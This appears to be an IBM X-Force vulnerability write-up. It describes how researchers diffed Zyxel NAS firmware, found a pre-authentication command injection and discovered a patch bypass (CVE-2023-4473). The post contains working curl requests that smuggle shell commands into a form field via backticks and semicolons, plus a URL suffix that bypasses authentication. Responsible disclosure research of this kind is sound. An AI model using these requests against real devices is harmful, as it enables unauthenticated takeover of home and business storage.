November 30, 2023 By Drew Balfour 12 min read

While investigating CVE-2023-27992, a vulnerability affecting Zyxel network-attached storage (NAS) devices, the IBM X-Force uncovered two new flaws, which when used together, allow for pre-authenticated remote code execution.

Zyxel NAS devices are typically used by consumers as cloud storage devices for homes or small to medium-sized businesses. When used together, the flaws X-Force discovered allow a remote attacker to execute arbitrary code on the device with superuser permissions and without requiring any credentials. This results in complete control over the system, allowing for exfiltration of all unencrypted data stored on it – which could include SPI, PII, customer data and more. Furthermore, malicious actors could then utilize such access to conduct secondary attacks against other targets or execute DDoS attacks.

IBM disclosed the details to Zyxel who assigned the identifier CVE-2023-4473 and a CVSS rating of 9.8. They have released a patch which is now available and should be applied urgently. You can read the official advisory here.

Introduction

The Cybersecurity & Infrastructure Security Agency (CISA) maintains a list of vulnerabilities that are known to be exploited “in the wild”: the Known Exploited Vulnerabilities (KEV) catalog. CVEs listed in the KEV generally have a high CVSS score and often have public Proof of Concepts (PoC) or specific details about the flaw. CVE-2023-27992 was added to the KEV catalog on June 23rd, 2023 with a CVSS score of 9.8. At the time of this writing, no public PoC or details were available. The only information provided by the vendor in their advisory was that the flaw was a “pre-authentication command injection”.

During the course of investigating the original issue’s root cause, a new flaw, CVE-2023-4473, and a bypass for the CVE-2023-27992 patch were uncovered. Combined, they allow for pre-authenticated remote code execution on Zyxel NAS devices.

Technical Analysis

CVE-2023-27992 is a critical unauthenticated command injection on revisions of firmware before V5.21(AAZF.14)C0 for the Zyxel NAS product.

Per the Zyxel advisory, the CVE-2023-27992 is fixed in version V5.21(AAZF.14)C0 of the NAS 326 firmware.

The firmware’s accompanying “Release Note” PDF indicates that potentially two issues were fixed in this revision, while not referencing the CVE directly:

Modification in V5.21(AAZF.14)C0 |June 1 2023
[Bug fix]
– [SI-1480] Zyxel-SI-1480 [Vulnerability] Pre-authentication RCE in NAS326 (also affect NAS540, NAS542).
– [SI-1481] Zyxel-SI-1481 [Vulnerability] Pre-authentication RCE in NAS542 (also affect NAS326, NAS540).

The previous firmware version, V5.21(AAZF.13)C0, was obtained to compare the differences between the two:

V5.21.13 – 521AAZF13C0.bin md5sum 3533ad031f81375399a0858edcc2d7be
V5.21.14 – 521AAZF14C0.bin md5sum ba1b7828ec63b73074cc5885fded6375

Both firmware versions were recursively unpacked with binwalk -e -M, which helpfully located and unpacked a cpio archive and raw ext-2 filesystem in each:

./V5.21.14/_521AAZF14C0.bin-0.extracted/_68DB.extracted/845958.cpio
md5sum af5c31779d90728b91330f46c3396a61
./V5.21.13/_521AAZF13C0.bin-0.extracted/_68DB.extracted/845958.cpio
md5sum a74ea55986ee0ea2eb2b96a74912863c
./V5.21.14/_521AAZF14C0.bin-0.extracted/_736FDA.extracted/0.ext2
md5sum e303ec97af1e7146e1ba30e647f7d0a9
./V5.21.13/_521AAZF13C0.bin-0.extracted/_736FE2.extracted/0.ext2
md5sum a45fa04c8060521fbc4a4ee9af4a7828

A Python script was created to recursively compare the two firmware’s contents via their md5 hashes, starting with the cpio-root:

$ ln -s _521AAZF13C0.bin-0.extracted/_68DB.extracted/cpio-root V5.21.13/cpio-root
$ ln -s _521AAZF14C0.bin-0.extracted/_68DB.extracted/cpio-root V5.21.14/cpio-root
$ python diff.py V5.21.13/cpio-root V5.21.14/cpio-root
Found 451 in V5.21.13/cpio-root
Found 451 in V5.21.14/cpio-root
Files in V5.21.13/cpio-root but not in V5.21.14/cpio-root:
Files in V5.21.14/cpio-root but not in V5.21.13/cpio-root:
File Name               : Hash 1                           Hash 2
./firmware/sbin/mmiotool: 1a9436e0b08d1d53e1c3bd852ef13171 986228e4a7e4d23f4037ff238eef560a
./sbin/bin2ram          : 0354a5530878f88318490a792c40e57d 08dfefbf89b4f6280068d088528bc185
./sbin/rtcAccess        : c1db31c0c372ce3dcaf473a6a734f41a 0e47083e0b41b18bc1cb1d8e99b5ba3c
./sbin/ram2bin          : 82d136c6003a30a05679bc87a53b9fbc 8b809f270f5f292de3e4202b4aa3c664
./bin/busybox           : cee2559337528516f836e4986cca770a ec9ec8e17969f654a213616f7188a297

    5 files with different hashes
446 files with identical hashes

took 0.04s

The 5 different binaries in the cpio archive are probably not where the vendor fixed a command injection bug in an HTTP handler. On to the ext-2 filesystems.

First, they were mounted as loopback mounts:

$ mkdir V5.21.14/mnt V5.21.13/mnt
$ sudo mount -o loop,ro V5.21.13/_521AAZF13C0.bin-0.extracted/_736FE2.extracted/0.ext2 V5.21.13/mnt
$ sudo mount -o loop,ro V5.21.14/_521AAZF14C0.bin-0.extracted/_736FDA.extracted/0.ext2 V5.21.14/mnt

and then the Python script was run on them:

$ python diff.py V5.21.13/mnt V5.21.14/mnt
Found 6435 in V5.21.13/mnt
Found 6435 in V5.21.14/mnt
Files in V5.21.13/mnt but not in V5.21.14/mnt:
Files in V5.21.14/mnt but not in V5.21.13/mnt:
File Name                                                   : Hash 1                           Hash 2
./usr/local/apache/web_framework/portal/Portal_PKG.pyc      : 81b0490e0aebbd584ddeff291fa70388 470a3f8c0a3d74be79c265b5f8472113
./usr/local/apache/web_framework/controllers/iscsi_main.pyc : 0df1abf57768c332f58aea747e237bd9 c170c1c012ca0bb29d16040f2a4a7505
./usr/lib/python2.7/site-packages/netifaces.pyc             : a59ceaf8622bc5b78efc52add794e66d 36807142d22221ee163c598181059c0e
[…]
./usr/local/apache/web_framework/controllers/photo_main.pyc : b9170eb9e6853076748c6fcc61a67a02 1f20dacbb2355b88c4e84bdd7dcad492
./usr/local/apache/web_framework/portal/sys_info.pyc        : 4cdeab4c4b2ebae1f85b470a98db41db 599bb0071fe9f1e96263efa0f00cc19b
./usr/lib/python2.7/site-packages/rtslib/target.pyc         : 023a924279198cd80985b107542124e0 2ec744438bc0b65c62c9e6d9ff8a6e6a
./usr/local/apache/web_framework/models/afp_main_model.pyc  : 22fc9c37fd61820b9b8be7967b2e343f f0ec7c2dc97da8d80e07d7bb8a278502

  367 files with different hashes
6068 files with identical hashes

took 0.76s

This returned a lot of modified Python code. As it is all compiled in Python 2.7, it was easily decompiled using “uncompyle6”.

$ file V5.21.13/mnt/usr/local/apache/web_framework/controllers/fileBrowser_main.pyc
V5.21.13/mnt/usr/local/apache/web_framework/controllers/fileBrowser_main.pyc: python 2.7 byte-compiled

The following are the differences for the 1st .pyc file mentioned above:

$ uncompyle6  V5.21.13/mnt/usr/local/apache/web_framework/portal/Portal_PKG.pyc > portal_pkg_13.py
$ uncompyle6  V5.21.14/mnt/usr/local/apache/web_framework/portal/Portal_PKG.pyc > portal_pkg_14.py
$ diff portal_pkg_13.py portal_pkg_14.py
5,6c5,6
< # Embedded file name: /home/release-build/NAS326/521AAZF13B1/sysapps/web_framework/build/portal/Portal_PKG.py.pre
< # Compiled at: 2023-05-01 20:13:10

> # Embedded file name: /home/release-build/NAS326/521AAZF14B2/sysapps/web_framework/build/portal/Portal_PKG.py.pre
> # Compiled at: 2023-05-25 20:06:07
129c129
< # okay decompiling V5.21.13/mnt/usr/local/apache/web_framework/portal/Portal_PKG.pyc

> # okay decompiling V5.21.14/mnt/usr/local/apache/web_framework/portal/Portal_PKG.pyc

The results indicated the differences are present only in meta-data about the file.

$ python diff.py V5.21.13/mnt V5.21.14/mnt
Found 6435 in V5.21.13/mnt
Found 6435 in V5.21.14/mnt
Files in V5.21.13/mnt but not in V5.21.14/mnt:
Files in V5.21.14/mnt but not in V5.21.13/mnt:
File Name                                                   : Hash 1                           Hash 2
./usr/bin/zydar                                             : e5c3eb5304f6560fbfe728ce063fa20b 1b36bbf025d4db021ab576d01e4e1681
./usr/lib/libpam_misc.so.0.82.0                             : 82833ded8b3b0c155595385ae8c814d8 84d807b2f511c767586470428986a9a7
./tmp.tar.gz                                                : b4a411a7e6b6eade8fc14ec7f609cfa2 c4e980123fffd278c5f0bd3bc9bccaad
./usr/bin/zysync                                            : cf6a08f7ed45ff8af18c3f603bd15254 477bb2134c635da6a05ce710d6a6f2ae
./lib/security/pam_nologin.so                               : 39663a137a7f97ee389430a927746deb 11660a733fe4a6b340e1f3c0ade79e0f
./usr/bin/stunnel                                           : 2a96d39c46ea4c003ba637bb498f8a84 e4fd95e150d16d15241b8bd594dbb390
./lib/security/pam_auth_admin.so                            : 534af6726535cb9d7d2d7dd1cb4d7d3f 51021522504a5469025b5fe77b51d1f2
./usr/sbin/sqlite3                                          : 55231147879c092a1607d77610ead8f9 3a85198545eb1acd20e3f84346244a05
./usr/sbin/ntpdate                                          : 3ba378abb0cacfe3e7b48099f0813016 c1e2f8ee13b88adde28a96fd3a894349
./usr/lib/libpam.so.0.83.1                                  : 8e031c33e14af77d1b8168f6bba29e42 f8ba7c475fa43d788070f9a7eb406331
./lib/security/pam_cloud_step2.so                           : f3f9952707dcb86f25360a23dc4581a4 f18d62c87198d170009505f7dfdc9138
./usr/local/bin/zysync                                      : f4e77739154bbf1e56477667cd9e2452 f8d447a3b2029aaab23ce4cd5cd30462
./usr/bin/re_startime                                       : de27606d02133e47ae05c93811a1066f 9ce7a64d8d8a15cd25b6e2830df94248
./usr/lib/libpam_misc.so.0.82.0T                            : 1fe6fead1575e564cb195555c78e2b28 1b6788e4020ea2f793033e46ff26b2e9
./usr/bin/schedule_controller                               : fc3f3b35f67723d306029f61cdd15709 9bf379ab050cc21a108ab6460c7b50e3
./lib/security/pam_cloud_step1.so                           : e5a1b471f5ca1ac6591ea5c14f9c00e7 4de44e848628ca0b3996c9145bfa757d

   16 files with different hashes
6068 files with identical hashes
351 pyc files

Decompiling and comparing 351 pyc files 8 threads

332/351
./usr/local/apache/web_framework/main_wsgi.pyc              : 51b4a25e948d248237e22aee31faccd8 36a317f390ce61044f129995afda6005
Saving _usr_local_apache_web_framework_main_wsgi.pyc to top level dir
350/351
took 43.81s

The results showed a single file, main_wsgi.pyc, that was changed in the firmware. Comparing the actual changes in the decompiled Python code yielded:

$ diff -U3 V5.21.13_mnt_usr_local_apache_web_framework_main_wsgi.py V5.21.14_mnt_usr_local_apache_web_framework_main_wsgi.py
— V5.21.13_mnt_usr_local_apache_web_framework_main_wsgi.py    2023-09-07 11:33:00.773770420 -0600
+++ V5.21.14_mnt_usr_local_apache_web_framework_main_wsgi.py    2023-09-07 11:33:00.773770420 -0600
@@ -11,10 +11,54 @@
sys.path.append(‘%s/lib’ % directory_path)
import cherrypy, tools_cherrypy
from cherrypy.process.plugins import Daemonizer, PIDFile
+import re
cherrypy.tools.jsonify = cherrypy.Tool(‘before_finalize’, tools_cherrypy.jsonify_tool_callback, priority=30)
cherrypy.tools.uam = cherrypy.Tool(‘on_start_resource’, tools_cherrypy.uam_update_callback, priority=50)
cherrypy.tools.requestLog = cherrypy.Tool(‘before_handler’, tools_cherrypy.request_log_callback, priority=70)

+def check_url_str(get_str):
+    pattern_str = re.compile(‘^[0-9a-zA-Z_]+$’)
+    if pattern_str.match(get_str):
+        return True
+    else:
+        return False
+
+
+def check_request_str(get_str):
+    if get_str.find(‘`’) == -1:
+        return True
+    else:
+        return False
+
+
+def check_str_format(get_str, item_type):
+    retvalue = ”
+    if type(get_str) == list:
+        for input_str in get_str:
+            if item_type == ‘url’:
+                retvalue = check_url_str(input_str)
+            elif item_type == ‘request’:
+                retvalue = check_request_str(input_str)
+            else:
+                return False
+            if retvalue == True:
+                continue
+            else:
+                return False
+
+    else:
+        if item_type == ‘url’:
+            retvalue = check_url_str(get_str)
+        else:
+            if item_type == ‘request’:
+                retvalue = check_request_str(get_str)
+            else:
+                return False
+            if not retvalue == True:
+                return False
+    return True
+
+
class mainApplication(object):

def index(self):
@@ -70,29 +114,53 @@
tjp6jp6y4_to_wsgi_server._cp_config = {‘tools.jsonify.on’: False}

def ck6fup6(self, *url_args, **request_args):
–        url = tools_cherrypy.SOCKET_URL_PREFIX + ‘/ck6fup6_to_wsgi_server/%s/%s’ % (url_args[0], url_args[1])
–        response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
–        if response == tools_cherrypy.INT_SERV_ERROR:
–            return tools_cherrypy.gui_errmsg(response)
+        if not check_str_format(url_args[0], ‘url’):
+            return
else:
–            return response.json()
+            if not check_str_format(url_args[1], ‘url’):
+                return
+            else:
+                for key, value in request_args.items():
+                    if not check_str_format(key, ‘request’):
+                        return
+                    if not check_str_format(value, ‘request’):
+                        return
+
+                url = tools_cherrypy.SOCKET_URL_PREFIX + ‘/ck6fup6_to_wsgi_server/%s/%s’ % (url_args[0], url_args[1])
+                response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
+                if response == tools_cherrypy.INT_SERV_ERROR:
+                    return tools_cherrypy.gui_errmsg(response)
+                return response.json()
+
+            return

ck6fup6.exposed = True

def tjp6jp6y4(self, *url_args, **request_args):
–        if url_args[0] == ‘register_main’ and url_args[1] == ‘setCookie’:
–            if not request_args.has_key(‘location’) or not request_args.has_key(‘cookie’):
–                return
–            cherrypy.response.status = 302
–            cherrypy.response.headers[‘location’] = request_args[‘location’]
–            cherrypy.response.headers[‘Set-Cookie’] = request_args[‘cookie’]
+        if not check_str_format(url_args[0], ‘url’):
+            return
else:
–            url = tools_cherrypy.SOCKET_URL_PREFIX + ‘/tjp6jp6y4_to_wsgi_server/%s/%s’ % (url_args[0], url_args[1])
–            response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
–            if response == tools_cherrypy.INT_SERV_ERROR:
–                return response
–            return response.content
–        return
+            if not check_str_format(url_args[1], ‘url’):
+                return
+            for key, value in request_args.items():
+                if not check_str_format(key, ‘request’):
+                    return
+                if not check_str_format(value, ‘request’):
+                    return
+
+            if url_args[0] == ‘register_main’ and url_args[1] == ‘setCookie’:
+                if not request_args.has_key(‘location’) or not request_args.has_key(‘cookie’):
+                    return
+                cherrypy.response.status = 302
+                cherrypy.response.headers[‘location’] = request_args[‘location’]
+                cherrypy.response.headers[‘Set-Cookie’] = request_args[‘cookie’]
+            else:
+                url = tools_cherrypy.SOCKET_URL_PREFIX + ‘/tjp6jp6y4_to_wsgi_server/%s/%s’ % (url_args[0], url_args[1])
+                response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
+                if response == tools_cherrypy.INT_SERV_ERROR:
+                    return response
+                return response.content
+            return

tjp6jp6y4.exposed = True
tjp6jp6y4._cp_config = {‘tools.jsonify.on’: False}

It appears the patch sanitizes inputs for these two functions:

tjp6jp6y4()
ck6fup6()

where parts of the incoming URL are checked for non-alphanumeric characters, and both the keys and values of the “request” parameters are checked for backticks.

The sanitization of backticks implies command injection via a shell interpolation.

Command Injection

The entire V5.21.13 framework was decompiled to look for places where shell interpolation might be possible.

$ cd V5.21.13
$ uncompyle6 -r -p 8 -o framework mnt/usr/local/apache/web_framework
mnt/usr/local/apache/web_framework/views/network_main_view.pyc —
# Successfully decompiled file
[…]
mnt/usr/local/apache/web_framework/lib/guiApp/cdsAgentV2.pyc —
# Successfully decompiled file
# decompiled 164 files: 162 okay, 2 failed, 0 verify failed

Looking at the main_wsgi.py, it appeared that the file can be run as a stand-alone cherrypy server, or as a WSGI module. The device starts the cherrypy server via an init script:

mnt/etc/init.d/rcS2:   /etc/init.d/main_wsgi.sh start
cpio-root/etc/init.d/main_wsgi.sh:        [ -f “/var/run/main_wsgi.pid” ] || python /usr/local/apache/web_framework/main_wsgi.pyc

The Apache configuration files are in the cpio archive in /etc/service_conf:

$ ls -l cpio-root/etc/service_conf/*.conf
-rw-r–r–+ 1 user users 4324 Sep  6 12:29 cpio-root/etc/service_conf/httpd.conf
-rw-r–r–+ 1 user users 3311 Sep  6 12:29 cpio-root/etc/service_conf/httpd_dav.conf
-rw-r–r–+ 1 user users   25 Sep  6 12:29 cpio-root/etc/service_conf/httpd_dav_default.conf
-rw-r–r–+ 1 user users 4324 Sep  6 12:29 cpio-root/etc/service_conf/httpd_default.conf
-rw-r–r–+ 1 user users   50 Sep  6 12:29 cpio-root/etc/service_conf/httpd_package.conf
-rw-r–r–+ 1 user users  719 Sep  6 12:29 cpio-root/etc/service_conf/httpd_special.conf
-rw-r–r–+ 1 user users 2289 Sep  6 12:29 cpio-root/etc/service_conf/httpd_zld.conf

which loads the main_wsgi.pyc file in as a WSGIScriptAlias from the included httpd_special.conf file.

http_special.conf:
WSGIScriptAlias /cmd, /usr/local/apache/web_framework/main.wsgi

The main_wsgi.py file in vulnerable firmware shows that a request to the ck6fup6 endpoint exposed in the WSGI configuration will pass the URL and request on to the internal CherryPy instance, using the first two elements of the request URL’s path, once CherryPy has removed the routing part:

WSGI part:
def ck6fup6(self, *url_args, **request_args):
url = tools_cherrypy.SOCKET_URL_PREFIX + ‘/ck6fup6_to_wsgi_server/%s/%s’ % (url_args[0], url_args[1])
response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
if response == tools_cherrypy.INT_SERV_ERROR:
return tools_cherrypy.gui_errmsg(response)
else:
return response.json()
ck6fup6.exposed = True

CherryPy server part:

def ck6fup6_to_wsgi_server(self, *url_args, **request_args):
if len(request_args) != 0:
args = {}
for key, value in request_args.iteritems():
if isinstance(value, unicode):
value = value.encode(‘utf-8’)
args.update({key: value})

request_args = args
controller = __import__(‘controllers.%s’ % url_args[0])
return eval(‘controller.%s.%s(cherrypy=%s, arguments=%s)’ % (
url_args[0], url_args[1], ‘cherrypy’, ‘request_args’))

The flow of a request to http://HOST/cmd,/ck6fup6/foo/bar would be for the Apache server to run main_wsgi.py via the WSGIScriptAlias directive, which would then forward the request to the internal CherryPy instance of main_wsgi.py, which would search for the controllers.foo file in the framework and call the bar function implemented therein with the arguments given in the original request.

Examination of the controllers’ directory of the framework revealed a general controller/model/view framework. For instance, controllers/system_main.py file will import the respective model and views, and then call the model functions:

“””This controller offers all relative interfaces about System.
“””
from models import system_main_model as sys_model
from views import system_main_view as sys_view
import json
from lib.tools_cherrypy import authentication, AUTH_PASS, gui_errmsg, GUI_SUCCESS, RET_OK
[…]
def hostname(cherrypy, arguments):
“””Get hostname
“””
rvalue = {}
rvalue[‘_hostname’] = sys_model.get_hostname()[‘serverName’]
rvalue[‘_model_name’] = sys_model.get_modelname()[‘modelName’]
return rvalue
[…]

where the models/system_main_model.py file has those functions:

“””This model offers all relative functions about System.
“””
[…]
from socket import gethostname
[…]
def get_hostname():
“””Get hostname
“””
try:
hostname = gethostname()
return {‘serverName’: hostname}
except:
return {‘serverName’: ‘unknown’}

def get_modelname():
“””Get modelname
“””
modelname_file = ‘/etc/modelname’
try:
with open(modelname_file) as (f):
model_name = f.readline().rstrip(‘\n’)
return {‘modelName’: model_name}
except:
return {‘modelName’: ‘unknown’}

[…]

Searching the rest of the framework showed there are many calls to either subprocess.Popen([…], shell=True) or os.system(), often in interestingly named functions like:

lib/tools.py:

def execRoot_bg2(cmd):
exec_path = os.path.join(sub(‘/lib.*$’, ”, os.path.realpath(__file__)), ‘bin/executer_su’)
os.system(exec_path + ‘ ‘ + cmd + ‘ &’)

models/ugs_comm_func.py:

def ugs_execRoot_shell(cmd, rc=False):
exec_path = ‘/usr/local/apache/web_framework/bin/executer_su ‘
arg_set = exec_path + cmd
pipe = Popen(arg_set, shell=True, stdout=PIPE, stderr=None)
if rc:
return (pipe.communicate()[0], pipe.returncode)
else:
return pipe.communicate()[0].strip()
return

Several of the code paths are gated by explicit authorization checks:

controllers/time_machine_main.py
def setTimeMachineStatus(cherrypy, arguments):
“””Set TimeMachine Status
“””
auth_status = tools_cherrypy.authentication(arguments)
if auth_status != tools_cherrypy.AUTH_PASS:
return tools_cherrypy.gui_errmsg(auth_status)

but some are not, and pass request controllable data into the command string:

controllers/zylog_main.py:

def configure_mail_syslog(cherrypy, arguments):
[…]
if arguments.has_key(‘schedulePeriod’) and arguments[‘schedulePeriod’] != ”:
[…]
if arguments[‘schedulePeriod’] == ‘daily’:
data = ‘daily hour %s minute %s’ % (arguments[‘scheduleHour’], arguments[‘scheduleMinute’])
model.configure_mail(‘schedule’, data)
pyconf.modify_conf_value(MAINTENANCE_LOG_MAIL, ‘schedule’, ‘daily’)
[…]
write_pyconf()
mail_schedule = pyconf.get_conf_value(MAINTENANCE_LOG_MAIL, ‘schedule’)
if mail_schedule != ”:
[…]
if mail_schedule == ‘daily’:
mail_hour = pyconf.get_conf_value(MAINTENANCE_LOG_MAIL, ‘hour’)
mail_minute = pyconf.get_conf_value(MAINTENANCE_LOG_MAIL, ‘miniute’)
cmd = ‘/usr/sbin/zylog_config mail 1 schedule daily hour %s minute %s’ % (mail_hour, mail_minute)
os.system(cmd)
[…]

Extracting the required arguments from the function, and adding a backtick-encased command to run, gives this curl request:

curl -s -X POST \
  –data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%60cmd60’ \
  ‘http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog’

which, when run as a regularly authenticated user takes the passed in number of seconds to return indicating command injection was successful:

$ time curl -s -X POST \
-b ‘authtok=lDVrIWUXQTQ3q5pQkBwchzKgMz1eGu-jY5o2aanCaZb0VsX+RxGp2w4N0Pc4dWKj’ \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%60sleep%205%60’ \
http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog

{“errorMsg”: “OK”}
real    0m5.319s
user    0m0.005s
sys     0m0.005s

However, if this was attempted as an unauthenticated user, the result would be a redirect to the device’s login page:

$ curl -s -X POST \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%60sleep%205%60’ \
http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href=”/r51263,/desktop,/login.html”>here</a>.</p>
</body></html>

As the CVE mentioned is a pre-authenticated command injection, it must be possible. Based on the assumption that the injection is either the one found above or something similar the question is: how does one get to the WSGI handler without authentication?

Authentication Bypass

Looking back at the Apache config files, these directives stand out:

[…]
LoadModule auth_zyxel_module    /usr/local/apache/modules/mod_auth_zyxel.so
[…]
AuthZyxelRedirect /DYNAMIC_STRING/desktop,/login.html
AuthZyxelSkipPattern /favicon.ico /adv,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/file_download.cgi /desktop,/cgi-bin/dlnotify /desktop,/login.html /desktop,/res/ /desktop,/css/ /desktop,/utility/flag.js /MyWeb/ /register_main/setCookie /playzone,/mobile_login.html /playzone,/mobile/sencha/ /playzone,/mobile/images/ /playzone,/images/
AuthZyxelSkipUserPattern /playzone,/ /cmd,/ /DMS,/ /adv,/cgi-bin/ /desktop,/cgi-bin/ /desktop,
[…]

The DYNAMIC_STRING in the config file is replaced on the device when the device boots via an RC script, which changes it to a string based on the firmware version, which helpfully enables the ability to version the device firmware without authentication:

mnt/etc/init.d/rcS2: /usr/sbin/chUrlPrefix.sh setprefix

$ more mnt/usr/sbin/chUrlPrefix.sh
#!/bin/sh

urlprefix=”r`cat /firmware/mnt/info/revision`,”

for op in $@; do
case $op in
“setprefix”)
replace_pattern=”s/DYNAMIC_STRING/${urlprefix}/g”
sed -i ${replace_pattern} /etc/service_conf/httpd.conf
sed -i ${replace_pattern} /etc/service_conf/httpd_default.conf
sed -i ${replace_pattern} /etc/service_conf/httpd_zld.conf
sed -i ${replace_pattern} /etc/service_conf/httpd_special.conf

Loading the mod_auth_zyxel.so module in IDA Pro, the authentication process can be inspected. The module is a standard Apache 2.4 module, giving a handy start to the reverse engineering process. It reads the configuration file and parses each of the directives into lists of tokens, and then registers a function into the Apache access checker callback hook list:

int run_hooks()
{
ap_hook_post_config(post_config_log, 0, 0, 10);
return ap_hook_access_checker((int)check_access, 0, 0, 10);
}

The check_access() function is called per Apache request, and a reversed decompiled version looks like this:

int __fastcall check_access(request_rec *req)
{
const char *v2; // r3
int v5; // [sp+14h] [bp-76C8h] BYREF
char v6; // [sp+181h] [bp-755Bh]
char redirect_location[84]; // [sp+188h] [bp-7554h] BYREF
in_addr_t src_ip; // [sp+76B8h] [bp-24h]
char *authtok; // [sp+76BCh] [bp-20h]
char *haystack; // [sp+76C0h] [bp-1Ch]
const char *output_redirect_loc; // [sp+76C4h] [bp-18h]
mod_cfg *mod_cfg; // [sp+76C8h] [bp-14h]
char *authtok_cookie; // [sp+76CCh] [bp-10h]

  if ( !ap_is_initial_req(req) )
return -1;
mod_cfg = *(mod_cfg **)(*(_DWORD *)(req->server + 44) + 4 * *(_DWORD *)&word_12330);
if ( !mod_cfg->enabled )
return -1;
if ( req->args )
sprintf(redirect_location, “%s?%s”, mod_cfg->redirect, req->args);
else
strcpy(redirect_location, mod_cfg->redirect);
if ( mod_cfg->redirect )
v2 = redirect_location;
else
v2 = “/”;
output_redirect_loc = v2;
if ( comp_url(req, mod_cfg, &mod_cfg->skip_list) )
return 0;
if ( (!strcmp(req->uri, mod_cfg->redirect) || !comp_url(req, mod_cfg, &mod_cfg->deny_list))
&& ((haystack = (char *)apr_table_get(req->headers_in, (int)”Cookie”)) != 0
&& (authtok_cookie = strstr(haystack, “authtok=”)) != 0
|| req->args && (authtok_cookie = strstr(req->args, “authtok=”)) != 0) )
{
authtok = apr_pstrdup(req->pool, authtok_cookie + 8);// strips off “authok=”
authtok_cookie = strchr(authtok, ‘;’);
if ( authtok_cookie )
*authtok_cookie = 0;
ap_unescape_url(authtok);
src_ip = inet_addr(*(const char **)(req->connection + 20));
if ( uam_find_first_match(&v5, “Web”, 0, src_ip, authtok) <= 0
|| (v6 == 1 || v6 == 2) && !comp_url(req, mod_cfg, &mod_cfg->skipuser_list) )
{
apr_table_set(req->headers_out, “Location”, output_redirect_loc);
return 302;
}
else
{
return 0;
}
}
else
{
apr_table_set(req->headers_out, “Location”, output_redirect_loc);
return 302;
}
}

The interesting part is that the AuthZyxelSkipPattern tokens are processed first, returning success if the request matches via the comp_url function which simply walks the list of tokens pulled from the config file and compares the request URL to each:

int __fastcall comp_url(request_rec *rec, mod_cfg *cfg, list_t *list)
{
list_elem *elem; // [sp+14h] [bp-8h]

  if ( !strcmp(rec->uri, cfg->redirect) )
return 1;
if ( !cfg->skip )
return 0;
elem = list->head;
start();
while ( elem != (list_elem *)list )
{
if ( lowercase_strstr(rec->uri, elem->data) )
return 1;
elem = elem->next;
start();
}
return 0;
}

where the comparison is simply done by lowercasing each string and calling strstr(url, token):

bool __fastcall lowercase_strstr(const char *a1, const char *a2)
{
char *needle; // [sp+8h] [bp-24h]
char *haystack; // [sp+Ch] [bp-20h]
signed int len2; // [sp+10h] [bp-1Ch]
signed int len1; // [sp+14h] [bp-18h]
_BOOL4 result; // [sp+18h] [bp-14h]
signed int i; // [sp+1Ch] [bp-10h]
signed int j; // [sp+1Ch] [bp-10h]

  len1 = strlen(a1);
len2 = strlen(a2);
haystack = (char *)malloc(len1 + 1);
needle = (char *)malloc(len2 + 1);
for ( i = 0; i < len1; ++i )
haystack[i] = tolower((unsigned __int8)a1[i]);
haystack[i] = 0;
for ( j = 0; j < len2; ++j )
needle[j] = tolower((unsigned __int8)a2[j]);
needle[j] = 0;
result = strstr(haystack, needle) != 0;
free(haystack);
free(needle);
return result;
}

Combining this with the fact that the WSGI instance of main_wgsi.py uses only the first two ‘parts’ of the request URL to call the internal instance, a ‘skippable’ path can be appended to the end of the request, causing mod_auth_zyxel.so to not redirect the request. Since there is also no explicit access check in the log configuration endpoint, this results in an unauthenticated command injection:

$ time curl -s -X POST \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%60sleep%205%60’
‘http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog/favicon.ico’

{“errorMsg”: “OK”}
real    0m5.347s
user    0m0.008s
sys 0m0.000s

Presumably, the other part of the difference between the two firmware was meant to address this, but it is unclear how:

+def check_url_str(get_str):
+    pattern_str = re.compile(‘^[0-9a-zA-Z_]+$’)
+    if pattern_str.match(get_str):
+        return True
+    else:
+        return False

Patch Bypass (CVE-2023-4473)

Since the patched firmware only explicitly filters backticks from the request arguments, the other usual suspects of shell interpolation probably still work.

Loading the ‘patched’ firmware onto the device does appear to fix the backtick command injection:

$ curl -s -b ‘authtok=ITkSoIQp6RmedQjIGOolRa1SeFT7Mh1B9OxAAxAZPckAqRc6Z2YX9SQLezEtGR8y’ \
http://10.20.17.122/cmd,/ck6fup6/system_main/show_sysinfo‘ | jq .system.firmware
“V5.21(AAZF.14)”

$ time curl -s -X POST \
-b ‘authtok=ITkSoIQp6RmedQjIGOolRa1SeFT7Mh1B9OxAAxAZPckAqRc6Z2YX9SQLezEtGR8y’ \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%60sleep%205%60’ \
http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog

[]
real    0m0.125s
user    0m0.000s
sys 0m0.008s

but, our friend the semi-colon is still allowed:

$ time curl -s -X POST \
-b ‘authtok=ITkSoIQp6RmedQjIGOolRa1SeFT7Mh1B9OxAAxAZPckAqRc6Z2YX9SQLezEtGR8y’ \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%3bsleep%205’ \
‘http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog’

{“errorMsg”: “OK”}
real    0m5.354s
user    0m0.010s
sys 0m0.000s

The authentication bypass still works as well:

$ time curl -s -X POST \
–data-binary ‘schedulePeriod=daily&scheduleHour=0&scheduleMinute=0%3bsleep%205’ \
‘http://10.20.17.122/cmd,/ck6fup6/zylog_main/configure_mail_syslog/favicon.ico’

{“errorMsg”: “OK”}
real    0m5.318s
user    0m0.008s
sys 0m0.000s

The new capability was disclosed to the vendor and assigned CVE-2023-4473.

Conclusion

